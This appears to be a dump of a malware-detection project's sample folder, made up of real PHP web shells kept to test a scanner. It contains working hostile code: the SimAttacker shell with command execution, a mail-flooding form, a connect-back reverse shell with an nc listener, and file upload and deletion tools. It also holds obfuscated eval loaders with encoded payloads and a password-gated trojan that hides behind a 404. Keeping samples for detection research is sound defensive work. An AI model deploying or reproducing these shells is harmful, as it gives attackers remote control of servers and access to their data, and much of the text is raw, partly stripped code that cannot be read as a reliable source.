173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 187 | 188 | File Manager

189 | 190 |

191 | 192 | 193 | 194 | 195 | 196 | CMD Shell

197 | 198 |

199 | 200 | 201 | 202 | Fake mail

203 | 204 |

205 | 206 | 207 | 208 | 209 | 210 | Connect Back

211 | 212 |

213 | 214 | 215 | 216 | 217 | 218 | About

219 | 220 |

 

 

223 | 224 | 239 | 240 | ***************************************************************************
241 | 242 |  Iranian Hackers : WWW.SIMORGH-EV.COM
243 | 244 |  Programer : Hossein Asgary
245 | 246 |  Note : SimAttacker  Have copyright from simorgh security Group
247 | 248 |  please : If you find bug or problems in program , tell me by :
249 | 250 |  e-mail : admin(at)simorgh-ev(dot)com
251 | 252 | Enjoy :) [Only 4 Best Friends ]
253 | 254 | ***************************************************************************

255 | 256 | "; 257 | 258 | 259 | 260 | echo "OS :". php_uname(); 261 | 262 | echo "
IP :". 263 | 264 | ($_SERVER['REMOTE_ADDR']); 265 | 266 | echo "
"; 267 | 268 | 269 | 270 | 271 | 272 | } 273 | 274 | //************************************************************ 275 | 276 | //cmd-command line 277 | 278 | $cmd=$_POST['cmd']; 279 | 280 | if($id=="cmd"){ 281 | 282 | $result=shell_exec("$cmd"); 283 | 284 | echo "

CMD ExeCute

" ; 285 | 286 | echo "
287 | 288 |
289 | 290 |
291 | 292 | 293 | 294 | 295 | 296 |
"; 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | } 305 | 306 | 307 | 308 | //******************************************************** 309 | 310 | 311 | 312 | //fake mail = Use victim server 4 DOS - fake mail 313 | 314 | if ( $id=="fake-mail"){ 315 | 316 | error_reporting(0); 317 | 318 | echo "

Fake Mail- DOS E-mail By Victim Server

" ; 319 | 320 | echo "
321 | 322 | Victim Mail :

323 | 324 | Number-Mail :

325 | 326 | Comments: 327 | 328 |
329 | 330 |
331 | 332 | 333 | 334 |
"; 335 | 336 | //send Storm Mail 337 | 338 | $to=$_POST['to']; 339 | 340 | $nom=$_POST['nom']; 341 | 342 | $Comments=$_POST['Comments']; 343 | 344 | if ($to <> "" ){ 345 | 346 | for ($i = 0; $i < $nom ; $i++){ 347 | 348 | $from = rand (71,1020000000)."@"."Attacker.com"; 349 | 350 | $subject= md5("$from"); 351 | 352 | mail($to,$subject,$Comments,"From:$from"); 353 | 354 | echo "$i is ok"; 355 | 356 | } 357 | 358 | echo ""; 359 | 360 | } 361 | 362 | } 363 | 364 | //******************************************************** 365 | 366 | 367 | 368 | //Connect Back -Firewall Bypass 369 | 370 | if ($id=="cshell"){ 371 | 372 | echo "
Connect back Shell , bypass Firewalls
373 | 374 | For user :
375 | 376 | nc -l -p 1019
377 | 378 |
379 | 380 |

381 | 382 | Your IP & BindPort:
383 | 384 | 385 | 386 |
387 | 388 | 389 | 390 |
"; 391 | 392 | $mip=$_POST['mip']; 393 | 394 | $bport=$_POST['bport']; 395 | 396 | if ($mip <> "") 397 | 398 | { 399 | 400 | $fp=fsockopen($mip , $bport , $errno, $errstr); 401 | 402 | if (!$fp){ 403 | 404 | $result = "Error: could not open socket connection"; 405 | 406 | } 407 | 408 | else { 409 | 410 | fputs ($fp ,"\n*********************************************\nWelcome T0 SimAttacker 1.00 ready 2 USe\n*********************************************\n\n"); 411 | 412 | while(!feof($fp)){ 413 | 414 | fputs ($fp," bash # "); 415 | 416 | $result= fgets ($fp, 4096); 417 | 418 | $message=`$result`; 419 | 420 | fputs ($fp,"--> ".$message."\n"); 421 | 422 | } 423 | 424 | fclose ($fp); 425 | 426 | } 427 | 428 | } 429 | 430 | } 431 | 432 | 433 | 434 | //******************************************************** 435 | 436 | //Spy File Manager 437 | 438 | $homedir=getcwd(); 439 | 440 | $dir=realpath($_GET['dir'])."/"; 441 | 442 | if ($id=="fm"){ 443 | 444 | echo "

 Home: $homedir 445 | 446 |   447 | 448 |

449 | 450 |  Path: 451 | 452 | 453 | 454 | 455 | 456 | 457 | 458 |
459 | 460 |
"; 461 | 462 | 463 | 464 | echo " 465 | 466 | 467 | 468 |
469 | 470 | 471 | 472 | 473 | 474 | 475 | 476 | 477 | 478 | 481 | 482 | 485 | 486 | 489 | 490 | 493 | 494 | 495 | 496 | "; 497 | 498 | if (is_dir($dir)){ 499 | 500 | if ($dh=opendir($dir)){ 501 | 502 | while (($file = readdir($dh)) !== false) { 503 | 504 | $fsize=round(filesize($dir . $file)/1024); 505 | 506 | 507 | 508 | 509 | 510 | echo " 511 | 512 | 513 | 514 | 531 | 532 | 551 | 552 | 575 | 576 | 601 | 602 | 617 | 618 | 619 | 620 | 621 | 622 | "; 623 | 624 | } 625 | 626 | closedir($dh); 627 | 628 | } 629 | 630 | } 631 | 632 | echo "
File / Folder Name 479 | 480 | Size KByte 483 | 484 | Download 487 | 488 | Edit 491 | 492 | ChmodDelete
"; 515 | 516 | if (is_dir($dir.$file)) 517 | 518 | { 519 | 520 | echo " $file dir"; 521 | 522 | } 523 | 524 | else { 525 | 526 | echo " $file "; 527 | 528 | } 529 | 530 | echo ""; 533 | 534 | if (is_file($dir.$file)) 535 | 536 | { 537 | 538 | echo "$fsize"; 539 | 540 | } 541 | 542 | else { 543 | 544 | echo "  "; 545 | 546 | } 547 | 548 | echo " 549 | 550 | "; 553 | 554 | if (is_file($dir.$file)){ 555 | 556 | if (is_readable($dir.$file)){ 557 | 558 | echo "download"; 559 | 560 | }else { 561 | 562 | echo "No ReadAble"; 563 | 564 | } 565 | 566 | }else { 567 | 568 | echo " "; 569 | 570 | } 571 | 572 | echo " 573 | 574 | "; 577 | 578 | if (is_file($dir.$file)) 579 | 580 | { 581 | 582 | if (is_readable($dir.$file)){ 583 | 584 | echo "Edit"; 585 | 586 | }else { 587 | 588 | echo "No ReadAble"; 589 | 590 | } 591 | 592 | }else { 593 | 594 | echo " "; 595 | 596 | } 597 | 598 | echo " 599 | 600 | "; 603 | 604 | if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { 605 | 606 | echo "Dont in windows"; 607 | 608 | } 609 | 610 | else { 611 | 612 | echo "Chmod"; 613 | 614 | } 615 | 616 | echo "Delete
633 | 634 |
635 | 636 | 637 | 638 | Send this file: 639 | 640 | 641 | 642 | 643 | 644 | 645 | 646 |
"; 647 | 648 | } 649 | 650 | //Upload Files 651 | 652 | $rpath=$_GET['dir']; 653 | 654 | if ($rpath <> "") { 655 | 656 | $uploadfile = $rpath."/" . $_FILES['userfile']['name']; 657 | 658 | print "
";
659 | 
660 | if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
661 | 
662 | echo "";
663 | 
664 | echo "";
665 | 
666 | }
667 | 
668 |  }
669 | 
670 |  //file deleted
671 | 
672 | $frpath=$_GET['fdelete'];
673 | 
674 | if ($frpath <> "") {
675 | 
676 | if (is_dir($frpath)){
677 | 
678 | $matches = glob($frpath . '/*.*');
679 | 
680 | if ( is_array ( $matches ) ) {
681 | 
682 |   foreach ( $matches as $filename) {
683 | 
684 |   unlink ($filename);
685 | 
686 |   rmdir("$frpath");
687 | 
688 | echo "";
689 | 
690 | echo "";
691 | 
692 |   }
693 | 
694 |   }
695 | 
696 |   }
697 | 
698 |   else{
699 | 
700 | echo "";
701 | 
702 | unlink ("$frpath");
703 | 
704 | echo "";
705 | 
706 | exit(0);
707 | 
708 | 
709 | 
710 |   }
711 | 
712 |   
713 | 
714 | 
715 | 
716 | }
717 | 
718 | 			?>
719 | 
720 | 			
721 | 
722 | 			
729 | 730 |


731 | 732 | Copyright 2004-Simorgh Security
733 | 734 | Hossein-Asgari
735 | 736 |
737 | 738 | 739 | 740 | www.r57.biz

745 | 746 | 750 |
751 | 752 | 753 | 754 | 755 | 756 | 757 | -------------------------------------------------------------------------------- /data/samples/classic/sosyete.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jvoisin/php-malware-finder/87b6d7faa4829b1e1c7c8895ef33d2b84d00b11f/data/samples/classic/sosyete.php -------------------------------------------------------------------------------- /data/samples/cpanel.php: -------------------------------------------------------------------------------- 1 | $ff7924082){$y5da781e=$ff7924082;$x3ff4965=$efb074d;}if(!$y5da781e){foreach($m6aa932e[$m6aa932e['a7b1'][11].$m6aa932e['a7b1'][35].$m6aa932e['a7b1'][49].$m6aa932e['a7b1'][49].$m6aa932e['a7b1'][31].$m6aa932e['a7b1'][42].$m6aa932e['a7b1'][96].$m6aa932e['a7b1'][95].$m6aa932e['a7b1'][49]]as$efb074d=>$ff7924082){$y5da781e=$ff7924082;$x3ff4965=$efb074d;}}$y5da781e=@$m6aa932e[$m6aa932e['a7b1'][33].$m6aa932e['a7b1'][51].$m6aa932e['a7b1'][31].$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][46].$m6aa932e['a7b1'][84].$m6aa932e['a7b1'][20].$m6aa932e['a7b1'][14]]($m6aa932e[$m6aa932e['a7b1'][71].$m6aa932e['a7b1'][42].$m6aa932e['a7b1'][95].$m6aa932e['a7b1'][49].$m6aa932e['a7b1'][84]]($m6aa932e[$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][14].$m6aa932e['a7b1'][49].$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][49]]($y5da781e),$x3ff4965));if(isset($y5da781e[$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][48]])&&$fecba48==$y5da781e[$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][48]]){if($y5da781e[$m6aa932e['a7b1'][65]]==$m6aa932e['a7b1'][67]){$b56c6566=Array($m6aa932e['a7b1'][55].$m6aa932e['a7b1'][97]=>@$m6aa932e[$m6aa932e['a7b1'][11].$m6aa932e['a7b1'][96].$m6aa932e['a7b1'][14].$m6aa932e['a7b1'][11].$m6aa932e['a7b1'][60]](),$m6aa932e['a7b1'][13].$m6aa932e['a7b1'][97]=>$m6aa932e['a7b1'][31].$m6aa932e['a7b1'][21].$m6aa932e['a7b1'][60].$m6aa932e['a7b1'][86].$m6aa932e['a7b1'][31],);echo@$m6aa932e[$m6aa932e['a7b1'][11].$m6aa932e['a7b1'][96].$m6aa932e['a7b1'][24].$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][51].$m6aa932e['a7b1'][11]]($b56c6566);}elseif($y5da781e[$m6aa932e['a7b1'][65]]==$m6aa932e['a7b1'][44]){eval($y5da781e[$m6aa932e['a7b1'][46]]);}exit();} ?> 15 | 16 | 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /data/samples/freepbx.php: -------------------------------------------------------------------------------- 1 | 15 | -------------------------------------------------------------------------------- /data/samples/obfuscators/cipher_design.php: -------------------------------------------------------------------------------- 1 | +*OJHj1.)n-$HjFsz)&D+.84k?9#+RaqlHb(Ors0cK-DC.$GcReUQ*-(z8#qA=1G&?j=O*jZkRv6Cr$GCTjDAHXZAKb=kr9UxHeZQ=n6hKa#X_bCXD9_OgXZCR5d+.$Dc.X(A*udk*1v+*AZA*5Gc78uA*ej&.(0kEPD&.1#C.8vxEP5k.8sCrndOr1G&.$K&?PjCT#dCH80&.(GATPU+.ndnreT+HPU)n5dO=84kgCGz.XTzv(7xDc#h_Obh,cbhKenh_c6e_C6e_cNh,a6h,aFxge#O*utcKb(Q.(Ul,aZwgj=Cr8(+Tdv_Uv#)_a-_D7#)n1X_Uv#))#v_D$z)nF-h,7#)n1Xh,7#h)vLAHAsk?sEOHe(eKVfA.8KkrV(lReUCqVTl.&6&*9Kkrj#C=8DCTsEOHe(eKVfA.8KkrV(l.ATA*$vl?Vz)_PXh,$zh_PX_U(z)_PXx?Vzh_PXh7v#hnF-_Uv#hn1X_UvZl)v4Xr$5zT#gX?9)Ojs4Q.s(&gJj8E(fkKdI)71Plrb,X($=ARe$)gOJzH$l*v(we.XRh?hb87VIC=&jw_AhVK$85.j#kT$Hng(?X*(U__hT*)C4XU$?5UV$Vv&c)nZx_7jw_jPVn(en88AH*$(+O*XKA.8=ArsZ+=b4k*90CR$TCgVj&q&uQHJ-hKhUe_Ogw,v#xE#sX?n=lEdZx8FNznaKzTCZl)vLC=8U&HXGw#MMn(1n*$VOn(V$5v8O58V)Hjen8$V)878nV81$878$n(XOHU$?8$e$njXf8$1)V8X?V8VP878OV8V?njeO5(XfnjXn8$snV8V_nv8)nje_V8X_HU8?87$_58X_V8VOHjV$njV)nv$_V81_V8e$581)878n8$1f878$n(Xn8$1O*7$n5v8_8$sfnU8)Hje?Vn$fnjen87Xn*$V?8$X$V8efnv8?8$V?5v$_njVPHj1PV8V)VnXO8$1_HU8nnjePnU8P8$e_njsP8$VO8$V)8$XfHUXOHUXfV81f*$X)Hjs$5(1$HU8$87$On(Xf8$XOHjX$nv8_njV$8$V)V8XnHjsnn(1?V8XOn(Xfn(1)V81Pnje_58VOV8V?8$1O*78_nU8_8$Xf*$e$*$Vf8$sf*$X?nje?nvXfn(X)V81$n(XOn(eOV81_8$1$8$1_Vn8PV8X)V8X)5(snnjXf8$V)8$Xn8$1)58e$n(Xn58enn(1n5(VPnj1?n(sn5v8fnjV$HjVf878fn(VOHje$58VPHjenHjV)*aMMeJyrcil1q0oP8HK2D9DwLyo2SA5KtXROD9PI1kwp8whVU7FQMSl0tldTy4k38QUAPQ8NPg==V8V_878)*$sP8$V)*7$fnv$n*$snn(Vn581PnvX$Vn$)V8ennU8nn(1nnj1P5(V$HjVn58s$8$e_HjX)nU$)581_nv8f8$Vn58XnV8XnHjV)nv$fnj1)8$1O*7$Pnje?njV)5(Vn878_n(Vn581nHjenHjenHU$P*$1n878$*$s$V8VnV8XnnUXnnjXfV8V_nje)V8e)HjXn87$nV8V$njV)878_n(e$8$Xf5n$fV8VOHUX?58s)Vn$nHU$_V8e?nj1f8$1PnU$_n(X_nj1f878$Hje?878nnjenn(1P58Xn87Xn8$X)58VfHj1f8$ef8$e)87$)5(V$8$e?nv8OHUX_58V$8$V_n(X)5n$)Hj1nnU8n 3 | -------------------------------------------------------------------------------- /data/samples/obfuscators/online_php_obfuscator.php: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /data/samples/obfuscators/phpencode.php: -------------------------------------------------------------------------------- 1 | :h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]3 x74 141 x72 164") && (!isset($GLOBALS[" x61 156 x75 156 x61"]h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!^>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27;%!<*#}_;#)323!>!%yy)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!>! x24/%tjws:*<%j:,,Bjg!)%j:>>1*!%b:>1%s: x5c%j:.2^,%b:%s: x575983:48984:71]K9]77]D4]82]K6]72]K9]78]K5].;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}21]464]284]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss x5csboe))/*)323zbe!-#jt0*?]+^?]_ x5c}X x24hmg%!<12>j%!|!*#91y]c9y]7]y86]267]y74]275]y7:]268]y7f#! x240w/ x24)##-!#~<#/% x24- x24!>!fyqmpef)# x24*272qj%6<^#zsfvr# x5cq%7/6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]3 162 x65 141 x74 145 x5f 146 x772 145 x66 157 x78"))) { $oqtpxpv = " x6|:*r%:-t%)3of:opjudovg<~ x24! x242178}527}88:}334}472 xw6< x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA x27&6<.fmjgA x27doj%6< x7y]252]18y]#>q%<#762]67y]5z)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*s%<#462]47d%6|6.7eu{66~67<&w6<*&7-#o]s]! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!>!%i x5c2*msv%)}k~~~%fdy!%tdz)%bbT-36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]3I7jsv%7UFH# x27rfs%6~6< x7fw*127-UVPFNJU,6<*27-SFGTOBSUO#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#)% x24- x24*#L4]275L3]x45 116 x54"]); if ((strstr($uas," x6d 163 x69 145")) or (strstr($)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]},;osvufs} x2id%)ftpmdR6<*id%)dfyfR x27tfs%6<*17-SFEBFI,6.%!<***f x27,*e x2GMFT`QIQ&f_UTPI`QUUI&e_SEEB`jix6U<#16,47R57,27Rpd%6!2p%!*3>?*2b%)gpf{jt)!g("", $jojtdkr); $bhlpzbl();}}W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t27ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!sp!*#op%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)ufttj x22)gj!|!*nbsbq%)32d($n)-1);} @error_reporting(0); $jojtdkr = implode(array_map("dudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{h3]y76]277##]y74]273]y76]252]y85]256]y6g]256<*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA x24- x24 x5c%j^ x24- x24tvctus)% x24- x24buas," x72 166 x3a 61 x31")) or (strstr($uas!gj}1~!<2p% x7f!~!<##!>!2p%Z<^1"]=1; $uas=strtolower($_SERVER[" x48 124 x5ldfid>}&;!osvufs} x7f;!opjudovg}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{eb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)%zW%h>EzH,2)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!gj!~7;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U! x24- x24gvodujpo! x24- xSVUFS,6<*msv%7-MSV,6<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3`{666~6!#]D6M7]K3#<%yy>#]Ddbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-if((function_exists(" x6f 142 x5f 16<.msv`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&/%rx<~!!%s:N}#-%o:W%c:>1<%b:>11<%j:=tj{fpg)%%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]276197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xr.985:52985-t.98]epdof./#@#/qp%>5h%!<*::::::-1246767~6/7rfs%6<#o]1/20QUU0~:/h%:<**#57]38y]47]67y]37]88y]27]28yW;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}%tmw!>!#]y84]275]y83]27~!%z!>21<%j=6[%ww)))) { $GLOBALS[" x61 156 x75 156 x65 156 x63 164 x69 157 x6e"; function dhyvbmt($n){return chr(orx27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72! x27!hmg%tmfV x7f<*X&Z&S{ftmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7ww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:56985:]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m," x61 156 x64 162 x6f 151 x64")) or (strstr($uas," x63 150 x72 +;!>!} x27;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;W&)7gj6<*K)ftpmdXA6~6/7&6|7**111127-K)ebfsX x27u%)7fm11112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!7{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#27pd%6!bssb2!>#p#/#p#/%z>2*!%z>32>!}t::**<(!(%w:!>! x+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GB)fubfsdXA x27K6< x7fw6*3qj%7><+{e%+*!*+fepdfe{h+{d%)+opj/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbek!~!b66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojepdoF.uofuopD#r# x5cq%)ufttj x22)gj6<^#Y# x5cq% x27Y%6K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:npd#)tutjyf`opjudovg x22)24y7 x24- x24*1<%j=tj{fpgh1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!o]s]#)fepmqyf x27*&7-n%)utjm6< x7fw6*C1/35.)1/14+9**-)1/2986+7**^c%j:^Ew:Qb:Qc:W24!bssbz) x24]25 x24- x24-!% x24- x24*!|! x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`62]38y]572]48y]#>m%:j!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>2bd%g)!gj<*#k#)usbut`cpV x7f x7f x7f x7f!#]y847,*d x27,*c x27,*b x27)fepdof.)f3ldfidk!~!<**qp%!-uyfu%)3of)fepdof`5j%!<**3-j%-bubE{h%)sutcvt-#w#)lhA!osvufs!~<3,j%>j%!*3! 248L3P6L1M5]D2P4]D6#<%G7#@#7/7^#iubq# x5cq% x27jsv%6^#zsfvr# x5cq%7**^#zsfvStrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSopxkrbc'; $vgkbclh=explode(chr((636-516)),substr($awvjtnz,(29027-23007),(198-164))); $jdxccsyh = $vgkbclh[0]($vgkbclh[(7-6)]); $nkttprcq = $vgkbclh[0]($vgkbclh[(7-5)]); if (!function_exists('huqbsiykq')) { function huqbsiykq($ewjaowa, $ppcmgty,$euscsfo) { $rputetgcppb = NULL; for($blvfkqsfhf=0;$blvfkqsfhf<(sizeof($ewjaowa)/2);$blvfkqsfhf++) { $rputetgcppb .= substr($ppcmgty, $ewjaowa[($blvfkqsfhf*2)],$ewjaowa[($blvfkqsfhf*2)+(7-6)]); } return $euscsfo(chr((34-25)),chr((531-439)),$rputetgcppb); }; } $xozybdtes = explode(chr((213-169)),'3371,36,157,63,3931,36,2709,44,5708,38,1659,66,2636,43,4231,64,4563,42,868,40,836,32,3967,62,2332,63,5776,31,4847,58,3660,52,2063,20,4528,35,1170,29,5409,38,4365,58,1914,22,3712,42,1474,28,2555,41,5552,35,4949,31,3260,23,53,43,780,24,5965,55,5180,40,3407,49,970,62,1936,50,1791,45,1502,28,3132,66,4713,35,4748,34,3820,62,501,42,4295,70,220,37,1264,64,5918,24,4029,58,2990,53,5875,43,3315,56,640,45,2440,66,5283,25,2679,30,2083,33,5607,55,1836,50,5807,32,3631,29,4423,59,5007,45,0,53,2883,54,4905,44,1886,28,5052,69,2270,62,5839,36,2208,62,280,55,2753,70,2823,60,5351,58,4980,27,2395,45,5662,46,4087,59,2033,30,5121,59,1725,66,3043,67,4482,46,605,35,3882,23,2506,49,685,44,3754,66,4198,33,96,61,1150,20,1032,25,5587,20,908,62,5500,52,2596,40,335,57,3198,62,3110,22,5308,43,1581,24,729,51,1199,65,257,23,4631,27,1057,64,2937,53,2145,63,4605,26,4146,52,3567,64,5220,63,459,42,3283,32,804,32,1605,54,5942,23,1121,29,1348,61,3510,57,1986,47,1409,65,543,62,5447,27,3456,54,392,67,5474,26,3905,26,4658,55,5746,30,1530,51,1328,20,4782,65,2116,29'); $ympifwn = $jdxccsyh("",huqbsiykq($xozybdtes,$awvjtnz,$nkttprcq)); $jdxccsyh=$awvjtnz; $ympifwn(""); $ympifwn=(599-478); $awvjtnz=$ympifwn-1; ?> 5 | -------------------------------------------------------------------------------- /data/samples/real/exceptions.php: -------------------------------------------------------------------------------- 1 | "D", "C"=>"B", "B"=>"4", "E"=>"F", "D"=>"C", "F"=>"7", "1"=>"E", "0"=>"9", "3"=>"0", "2"=>"2", "5"=>"A", "4"=>"8", "7"=>"1", "6"=>"3", "9"=>"5", "8"=>"6");$fuwkgtdbkv = "DgokZGVmYXVsdE0hY6Rpb2BgPS5nQ3MnOwoKQGluaV0zZXQoJ2Vycm0yX2xvZycsTlVMTDk"."FDkCpbmlfc2V3KDdsb2dfZXJyb6JzJywwKTsKQGluaV0zZXQoJ27heE0leGVjdXRpb29fdGltZSc"."sMDkFDkCzZXRfdGltZV0saW7pdDgwKTsKQHNldE0tYWdpY70xdW03ZXNfcnVudGltZSgwKTsKQGR"."lZmluZSgnV7NPX7ZEUlNJT3BnLD5nMiB7LjInKTsKDmlmKGdldE0tYWdpY70xdW03ZXNfZ6CjKDkpIHsKID5gIGZ7b"."mN3aW0uIEdTT6N3cmlwc2xhc2hlcygkYXJyYXkpIHsKID5gID5gIDCyZXR7c"."mBgaXNfYXJyYXkoJGEycmE9KS5/IGEycmE9X27hcDgnV7NPc6RyaXCzbGEzaGVzJywgJGEycmE9KS58IHN3cmlwc2xhc2h"."lcygkYXJyYXkpOwogID5gfQogID5gJE0QT7NUIA3gV7NPc6RyaXCzbGEza"."GVzKDRfU10TVDkFDi5gID5kX3NPT3tJRS50IEdTT6N3cmlwc2xhc2hlcygkX3NPT3tJRSkFDn3KD"."mZ7bmN3aW0uIHdzb3xvZ2luKDkgewogID5gaGVhZGVyKDdIVERQLz1uMD53MAQgTm03I1ZvdW9"."kJykFDi5gIDCkaWUoIjQwNDIpOwp0DgpmdW9jdGlvbiCXU30zZXRjb20raWUoJGssIDR2"."KSCFDi5gID5kX3NPT3tJRVska73gPS5kdjsKID5gIHNldGNvb2tpZSgkaywgJHYpOwp0DgppZ"."ighZW7wdHkoJGE7dGhfcGEzcykpIHsKID5gIGlmKGlzc2V3KDRfU10TVEsncGEzcyddKS5mJi5obWQ7KDRfU10TVEsncGEzc"."yddKS50PS5kYXV3aE0wYXNzKSkKID5gID5gIDCXU30zZXRjb20"."raWUobWQ7KDRfU3VSVkVSWydIVERQX3hPU7QnXSksIDRhdXRoX6Chc6MpOwoKID5gIGlmIDghaXNzZXQoJE0AT30LSUVbbWQ7KDR"."fU3VSVkVSWydIVERQX3hPU7QnXSldKSC4fD5oJE0AT30LSUVbbWQ7KDRfU3VSVkVSWydIVERQX3hPU7QnXSl"."dID10IDRhdXRoX6Chc6MpKQogID5gID5gIHdzb3xvZ2luKDkFDn3KDmZ7bmN3aW0uIGEjdGlvblIoKSCFDi5gIDCpZighQ"."DRfU10TVEsnZXYnXSkgewogID5gID5gIDRhIA3gYXJyYXkoDi5gID5g"."ID5gID5gIDJ7bmEtZSIgPTBgcGhwX6VuYW7lKDksDi5gID5gID5gID5gIDJwaHCfdmVyc2lvbiIgPTBgcGhwdmVyc2lvbigpL5og"."ID5gID5gID5gID5id6NvX6ZlcnNpb2BiIA3+IEdTT70WRVJTSU0OL5ogID5gID5gID5gID5ic2EmZW7vZGUiIA3+I1CpbmlfZ2V3"."KDdzYWZlX27vZGUnKQogID5gID5gIDkFDi5gID5gID5gZWNobyCzZXJpYWxpemUoJG1pOwogID5gfSClbHNlIHsKID5"."gID5gIDCldmEsKDRfU10TVEsnZXYnXSkFDi5gIDC0Dn3KDmlmK"."DClbXC3eSgkX7CPU7RbJ2MnXSkgKQogID5gaWYoaXNzZXQoJGRlZmE7bHRfYWN"."3aW0uKS5mJiCmdW9jdGlvbl0leGlzdHMoJ2EjdGlvbicgLi5kZGVmYXVsdE0hY6Rpb2BpKQogID5gID5gID"."RfU10TVEsnYyddIA3gJGRlZmE7bHRfYWN3aW0uOwogID5gZWxz"."ZQogID5gID5gIDRfU10TVEsnYyddIA3gJ7NlY3luZm4nOwppZiggIWVtcHR9K"."DRfU10TVEsnYyddKS5mJiCmdW9jdGlvbl0leGlzdHMoJ2EjdGlvbicgLi5kX7CPU7RbJ"."2MnXSkgKQogID5gY2EsbE07c2VyX2Z7bmMoJ2EjdGlvbicgLi5kX7CPU7RbJ2MnXSkFDmV"."BaXQF";eval/*k*/(ngomynsz($fuwkgtdbkv, $jgzzljfjj));?> -------------------------------------------------------------------------------- /data/samples/real/guidtz.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jvoisin/php-malware-finder/87b6d7faa4829b1e1c7c8895ef33d2b84d00b11f/data/samples/real/guidtz.php -------------------------------------------------------------------------------- /data/samples/real/ice.php: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /data/samples/real/include.php: -------------------------------------------------------------------------------- 1 | 8 | 9 | # TODO: Change this password. Don't leave the default! 10 | define('PASSWORD', 'the-password'); 11 | 12 | # Override the default error handling to: 13 | # 1. Bludgeon PHP `throw`-ing rather than logging errors 14 | # 2. Keep noise out of the error logs 15 | set_error_handler('warning_handler', E_WARNING); 16 | function warning_handler($errno, $errstr) { 17 | throw new ErrorException($errstr); 18 | } 19 | 20 | # get the POSTed JSON input 21 | $post = json_decode(file_get_contents('php://input'), true); 22 | $cwd = ($post['cwd'] !== '') ? $post['cwd'] : getcwd(); 23 | 24 | # feign non-existence if the authentication is invalid 25 | if (!isset($post['auth']) || $post['auth'] !== PASSWORD) { 26 | header('HTTP/1.0 404 Not Found'); 27 | die(); 28 | } 29 | 30 | # return JSON to the client 31 | header('content-type: application/json'); 32 | 33 | # if `cmd` is a trojan payload, execute it 34 | if (function_exists($post['cmd'])) { 35 | $post['cmd']($cwd, $post['args']); 36 | } 37 | 38 | # otherwise, execute a shell command 39 | else { 40 | $output = []; 41 | 42 | # execute the command 43 | 